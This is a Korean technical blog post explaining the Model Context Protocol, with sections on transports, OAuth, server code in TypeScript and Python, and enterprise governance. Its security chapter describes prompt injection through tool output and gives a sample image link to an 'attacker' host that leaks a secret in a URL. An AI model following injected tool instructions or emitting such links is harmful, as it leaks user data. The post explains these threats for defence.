LabHub

블로그

MCP (Model Context Protocol) 완전 해부: 스펙, 전송, 보안, 서버 만들기, 엔터프라이즈 (2025)

Season 4 Ep 5 — Ep 3에서 잠깐 지나갔던 MCP. 2025년 기준 거의 모든 에이전트 프레임워크가 MCP를 얘기한다. 왜 이게 표준이 되는지, 어떻게 작동하는지, 어떻게 만들고 어떻게 지킬지.

Prologue — "M x N 문제"의 해결책

2024년 초까지, LLM 애플리케이션과 도구의 연결은 각자 독자 규격이었다.

M개 LLM × N개 도구 = M×N 통합 코드. M, N이 커질수록 팀들은 같은 GitHub 연동을 각각 새로 짰다.

2024년 11월, Anthropic이 Model Context Protocol (MCP)을 공개했다. 핵심은 단순하다.

LLM 애플리케이션 ↔ 외부 도구·데이터 소스 사이의 표준 프로토콜.

USB-C가 전원·데이터·영상·오디오의 커넥터를 통일한 것처럼, MCP는 "LLM이 외부 세계와 얘기하는 방법"을 통일했다. 2025년 현재 Anthropic·OpenAI·Google·Microsoft·주요 IDE·수백 개 오픈소스 서버가 MCP를 지원한다.


1장 · 핵심 개념

1.1 Client · Server · Host

[Host Application]: Claude Desktop, Claude Code, Cursor, VS Code
   ├── [MCP Client][MCP Server A]: GitHub MCP
   ├── [MCP Client][MCP Server B]: Filesystem MCP
   └── [MCP Client][MCP Server C]: Slack MCP

Host는 여러 Client를 동시에 가질 수 있다(= 여러 서버 붙이기). 서버는 독립적으로 배포 가능.

1.2 JSON-RPC 2.0 기반

메시지 형식은 JSON-RPC 2.0. 요청/응답/알림 세 종류.

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": { "name": "search_issues", "arguments": { "q": "bug" } }
}

1.3 기능 레이어

1.4 Capability 협상

세션 시작 시 initialize로 양쪽 capability를 선언. 서버가 Resources를 지원하는지, Host가 Sampling을 수락할지 등.


2장 · 전송 계층 (Transport)

2.1 stdio

프로세스 표준 입출력으로 JSON-RPC 메시지 주고받기.

2.2 HTTP + SSE (구 방식)

2.3 Streamable HTTP (2025 주류)

신규 MCP 서버는 Streamable HTTP를 우선 채택하는 게 2025년 관례.

2.4 선택 가이드

배포 형태권장 전송
사용자 로컬 바이너리stdio
사내 SaaS 연결Streamable HTTP
퍼블릭 클라우드 서비스Streamable HTTP + OAuth
단기 실험·데모stdio

3장 · Tools · Resources · Prompts · Sampling

3.1 Tools

모델이 호출할 "함수"를 서버가 노출.

{
  "name": "github.create_issue",
  "description": "Create an issue in a GitHub repository.",
  "inputSchema": {
    "type": "object",
    "required": ["owner", "repo", "title"],
    "properties": {
      "owner": { "type": "string" },
      "repo":  { "type": "string" },
      "title": { "type": "string" },
      "body":  { "type": "string" }
    }
  }
}

3.2 Resources

정적/동적 데이터를 URI로 노출.

resources/list
  -> [{ uri: "notes://personal/2025-04-15", name: "오늘의 메모", ... }, ...]

resources/read
  params: { uri: "notes://personal/2025-04-15" }
  -> { contents: [{ uri, text | blob, mimeType }] }

Tools와의 차이:

3.3 Prompts

서버가 제공하는 사용자용 프롬프트 템플릿.

prompts/list
  -> [{ name: "weekly_review", description: "주간 회고 생성", arguments: [...] }]

prompts/get
  params: { name: "weekly_review", arguments: { project: "Alpha" } }
  -> { messages: [{ role, content: { type: "text", text: "..." } }] }

Host에서 슬래시 명령(/weekly_review)처럼 노출되는 경우가 많다.

3.4 Sampling

서버가 Host에게 "이 프롬프트로 LLM 한 번 돌려줘"라고 요청.


4장 · 인증과 권한 (OAuth 2.1)

4.1 왜 OAuth 2.1

MCP의 원격 서버(Streamable HTTP)는 민감한 사내·SaaS 데이터에 접근한다. 따라서 표준 인증이 필수.

2025년 MCP는 OAuth 2.1 (PKCE 필수, implicit flow 제거)을 권장 표준으로 정비.

4.2 기본 흐름

Host(Client) → 인증 시작
브라우저 리다이렉트 → 사용자 로그인/동의
Authorization code + PKCE
Access Token (+ Refresh Token)
이후 MCP 호출 Authorization: Bearer <token>

4.3 Dynamic Client Registration

사용자가 어떤 Host를 쓸지 모르는 공개 MCP 서버는 동적 클라이언트 등록(RFC 7591)을 지원하는 것이 편리. Host가 처음 연결 시 자동으로 client_id를 발급받음.

4.4 Scope 설계

4.5 토큰 수명·회전


5장 · 대표 MCP 서버 — 2025 생태계

5.1 Anthropic 및 커뮤니티 공식

5.2 제품 SaaS 공식 서버

5.3 브라우저 MCP

브라우저 MCP의 공통 리스크: 링크 수상함 검증, 데이터 유출(export), 자동 클릭 제한 등 안전 정책 필수.

5.4 Computer-use MCP

5.5 한국 생태계


6장 · 직접 MCP 서버 만들기 (TypeScript)

6.1 프로젝트 스캐폴드

mkdir my-mcp-server && cd my-mcp-server
npm init -y
npm i @modelcontextprotocol/sdk zod

6.2 최소 예제

import { Server } from "@modelcontextprotocol/sdk/server/index.js";
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
import { z } from "zod";

const server = new Server(
  { name: "demo-mcp", version: "0.1.0" },
  { capabilities: { tools: {} } }
);

server.tool(
  "add",
  "두 수를 더한다.",
  { a: z.number(), b: z.number() },
  async ({ a, b }) => ({
    content: [{ type: "text", text: String(a + b) }]
  })
);

const transport = new StdioServerTransport();
await server.connect(transport);

실행: node dist/index.js. Claude Desktop이나 Claude Code의 MCP 설정에 등록하면 add 툴이 보인다.

6.3 Resources 예

server.resource(
  "notes",
  "notes://list",
  async () => ({
    contents: [{
      uri: "notes://list",
      mimeType: "application/json",
      text: JSON.stringify(await listNotes())
    }]
  })
);

6.4 Streamable HTTP 전환

import { StreamableHttpServerTransport } from "@modelcontextprotocol/sdk/server/streamable-http.js";

const transport = new StreamableHttpServerTransport({
  // Express/Fastify 어댑터
});

6.5 운영 팁


7장 · Python MCP 서버

7.1 기본 예

from mcp.server import Server
from mcp.server.stdio import stdio_server

app = Server("demo-mcp")

@app.list_tools()
async def list_tools():
    return [{
        "name": "echo",
        "description": "문자열을 그대로 돌려준다",
        "inputSchema": {
          "type": "object",
          "properties": { "text": {"type": "string"} },
          "required": ["text"],
        },
    }]

@app.call_tool()
async def call_tool(name: str, arguments: dict):
    if name == "echo":
        return [{"type": "text", "text": arguments["text"]}]

async def main():
    async with stdio_server() as (r, w):
        await app.run(r, w, app.create_initialization_options())

7.2 FastMCP

더 간결한 파이썬 DSL.

from fastmcp import FastMCP

app = FastMCP("demo")

@app.tool()
def add(a: int, b: int) -> int:
    """두 수를 더한다"""
    return a + b

app.run()

FastMCP는 Streamable HTTP·인증 미들웨어를 기본 제공.


8장 · 보안 위협과 방어

8.1 주요 위협

  1. Malicious MCP server: 사용자가 잘못된 서버를 붙여서 내 데이터가 새는 경우
  2. Prompt injection via tool output: 서버가 돌려주는 텍스트에 "다음 툴을 실행해" 같은 지시가 섞이면 에이전트가 속아 실행
  3. Tool confusion: 비슷한 이름의 두 서버(공식 vs 사칭)가 붙어 선택을 헷갈림
  4. Credential theft: 서버가 OAuth 토큰을 로그에 남기거나 외부에 전송
  5. Exfiltration via URL: 결과에 ![](http://attacker/?x=secret) 같은 이미지 링크로 데이터 탈취
  6. Supply chain: NPM/PyPI의 MCP 서버 패키지 변조

8.2 방어 레이어

(a) 서버 신뢰

(b) 툴 출력의 취급

(c) 네트워크 경계

(d) 비밀 관리

(e) 샌드박싱

8.3 엔터프라이즈 정책 예

- 공식 MCP 서버 + 사내 자체 서버만 허용
- 외부 서드파티 서버 설치는 보안팀 리뷰 필수
- OAuth 토큰은 사내 IdP 발급, scope별 승인
- 모든 tools/call 호출 로그 중앙 집계, 3090일 보관
- 금지 동작(결제, 외부 메일 발송 등)은 별도 approval API 경유

9장 · MCP vs OpenAPI vs Function calling

9.1 비교

관점OpenAPIFunction callingMCP
목적HTTP API 명세모델이 함수 호출모델 ↔ 툴·데이터 연결
범위API 단위단일 호출세션·Capability
Resources없음없음있음
Prompts없음없음있음
Sampling없음없음있음
재사용어플당 구현모델·SDK별범용 표준

9.2 관계

즉 MCP가 Function calling을 대체하는 게 아니라, Function calling을 호출할 수 있는 툴 소스를 표준화하는 것.


10장 · 엔터프라이즈 도입

10.1 단계

  1. Pilot: 1–2개 서버(공식 GitHub, 사내 Jira MCP) + 엔지니어링팀 일부
  2. Expand: 사내 필수 도구 MCP화 (CRM, BI, DMS)
  3. Govern: 허용 목록, 로깅, 보안 리뷰 프로세스
  4. Platform: 내부 MCP 마켓플레이스(사내 포털)로 공유

10.2 거버넌스

10.3 비용 모델

10.4 한국 기업 사례


11장 · 개발자 UX — 실전 팁

11.1 Claude Desktop/Code에 등록

~/Library/Application Support/Claude/claude_desktop_config.json 같은 설정 파일에 서버 목록:

{
  "mcpServers": {
    "filesystem": {
      "command": "node",
      "args": ["/path/to/fs-mcp.js", "/Users/me/docs"]
    }
  }
}

11.2 Cursor / VS Code / JetBrains

11.3 여러 서버 충돌 해결

같은 툴 이름이 겹치면 혼란. 관례:

11.4 디버깅


12장 · 안티패턴 10선

12.1 아무 MCP 서버나 설치

신뢰·서명 확인 없이는 설치 금지.

12.2 토큰을 코드에 하드코딩

누출 즉시 전파. 환경변수/Secrets Manager 사용.

12.3 한 서버에 툴 50개 몰기

모델의 선택 정확도 떨어짐 + UI 혼잡. 카테고리로 분리.

12.4 Sampling 자동 승인

비용·데이터 유출 위험. 반드시 사용자 확인.

12.5 stdio만 지원, 원격 배포 불가

팀 공유·클라우드 배포 막힘. Streamable HTTP 병행.

12.6 권한 scope 없음

"전권" 토큰. 최소 권한 원칙 위배.

12.7 툴 반환에 민감정보 원문

LLM 컨텍스트에 API key, PII가 노출.

12.8 OpenAPI 감싸기만 하고 도메인화 없음

"GET /v1/...?.." 그대로 노출하면 모델이 호출 못 함. 도메인 언어로 툴 네이밍.

12.9 감사 로그 없음

사고 시 "누가 뭘 했는지" 알 수 없음.

12.10 서버 업그레이드 시 마이그레이션 가이드 없음

Host 사용자들이 침묵의 고장.


13장 · 체크리스트 — MCP 서버 배포 전 12가지


14장 · 다음 글 예고 — Season 4 Ep 6: "LLM 평가 & 관측성"

MCP로 도구를 붙이고, RAG로 지식을 붙이고, Fine-tune으로 스타일을 고정해도 — "정말 잘 작동하는지"를 못 재면 모든 게 무용지물이다.

"측정할 수 없으면 개선할 수 없다." 너무 자주 듣는 말이지만, LLM 제품에선 더 그렇다.

다음 글에서 만나자.


요약: MCP는 M×N 통합 비용을 M+N으로 줄이는 표준이다. Tools/Resources/Prompts/Sampling 네 축으로 LLM ↔ 외부를 연결하고, Streamable HTTP + OAuth 2.1로 안전하게 원격 배포하며, 서버·툴·권한을 최소 단위로 쪼개서 운영한다. 2025년엔 "MCP 지원 없는 에이전트 프레임워크는 시대에 뒤처짐"이라는 인식이 굳어졌다. 직접 서버를 만드는 건 하루면 되지만, 엔터프라이즈에 안전하게 배포하려면 카탈로그·감사·거버넌스가 그 다음의 진짜 과제.

댓글

아직 댓글이 없습니다.

로그인하면 댓글을 쓸 수 있습니다